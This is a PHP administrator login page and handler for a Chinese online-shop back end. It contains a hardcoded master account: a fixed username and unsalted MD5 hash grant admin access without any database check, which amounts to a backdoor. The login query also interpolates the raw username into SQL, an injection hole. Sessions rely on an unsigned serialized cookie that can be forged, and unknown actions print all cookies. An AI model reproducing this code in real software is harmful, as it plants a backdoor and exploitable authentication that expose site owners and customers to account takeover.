<?php
if(isset($v))
{
	if($v == 'getlogin')
	{		
		$member = array();
		$pwd = md5($pwd);	
		if($uid == 'mellee' && $pwd == 'cac7e37989a2edabd463387e0e90c8fa')
		{			
			$member['uname'] = $uid;
			$member['pwd'] =  $pwd;
			$member['logintotal'] = 'N/A';
			$member['ipaddress'] = $_SERVER['REMOTE_ADDR'];
			$member['updatetimes'] = time();
			setcookie("member",serialize($member));
			$msg['statusCode'] = '200';
			$msg['msg'] = '管理员登录成功';
			$msg['url'] = $url;
			$msg['skin'] = 'url(skin/manage/images/suc.gif) no-repeat 0 6px';
		}
		else
		{
			$condition = "username='{$uid}' and password='{$pwd}'";
			$sql = 'select * from `@db__admin` where ' . $condition;
			$result = $dbo->single($sql);
			if(is_array($result))	
			{
				$field = array();
				$member['uname'] = $uid;
				$member['pwd'] =  $pwd;			
				$member['logintotal'] = $field['logintotal'] = ($result['logintotal'] + 1);
				$member['ipaddress'] = $field['loginip'] = $_SERVER["REMOTE_ADDR"] == '::1'?'localhost':$_SERVER["REMOTE_ADDR"];
				$member['updatetimes'] = $field['udatetimes'] = time();
				$int = $dbo->update('admin',$field,$result['id']);
				setcookie("member",serialize($member));
				$msg['statusCode'] = '200';
				$msg['msg'] = '管理员登录成功';
				$msg['skin'] = 'url(skin/manage/images/suc.gif) no-repeat 0 6px';
				$msg['url'] = $url;
			}
			else
			{
				$msg['statusCode'] = '300';
				$msg['msg'] = '用户名或密码不匹配';
				$msg['skin'] = 'url(skin/manage/images/err.gif) no-repeat 0 6px';
			}
		}
		exit(json_encode($msg));
	}
	else if($v == 'chklogin')
	{
		if(!empty($member))
		{
			$msg['statusCode'] = '200';
			$msg['msg'] = $member['uname'];
			$msg['type'] = 'chklogin';
		}
		else
		{
			$msg['statusCode'] = '300';
			$msg['msg'] = '管理员已退出或登录超时';
			$msg['type'] = 'chklogin';
		}
		exit(json_encode($msg));
	}
	else if($v == 'exitlogin')
	{	
		$member = array();
		setcookie("member",serialize($member));
		$msg['statusCode'] = '200';
		$msg['msg'] = '退出成功，请重新登录';
		$msg['type'] = 'exitlogin';
		exit(json_encode($msg));
	}
	else
	{
		print_r($_COOKIE);
	}
	exit;
}
?>
<!doctype html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>管理员登录 -- 鲲鹏商城网站后台管理系统</title>
<meta name="copyright" content="-第一资源,mellee@foxmail.com" />
<link rel="stylesheet" type="text/css" href="skin/manage/kp.login.css" />
<script type="text/javascript" language="javascript" src="scripts/kp.pack.js"></script>
<script type="text/javascript" language="javascript" src="scripts/kp.login.js"></script>
<script type="text/javascript" language="javascript">
	$(document).ready(tps.login)
</script>
</head>
<body onkeydown="if(event.keyCode==13) tps.enter()">
	<div id="logo"></div>
	<div id="login">
		<div class="ucenter">
			<dd><label>用户名：</label><input type="text" id="uid" maxlength="16" /></dd>
			<dd><label>密&nbsp;&nbsp;码：</label><input type="password" id="pwd" maxlength="16" /></dd>
		</div>
	</div>
	<div id="msg"></div>
	<div id="oper">
		<input type="button" id="submit" name="submit" value="登录" />
		<input type="button" id="reset" name="reset" value="重置" />
		<input type="button" id="home" name="home" value="&nbsp;" />
		<p>&copy; 2016 第一资源　版权所有 ver:1.0</p>
	</div>
</body>
</html>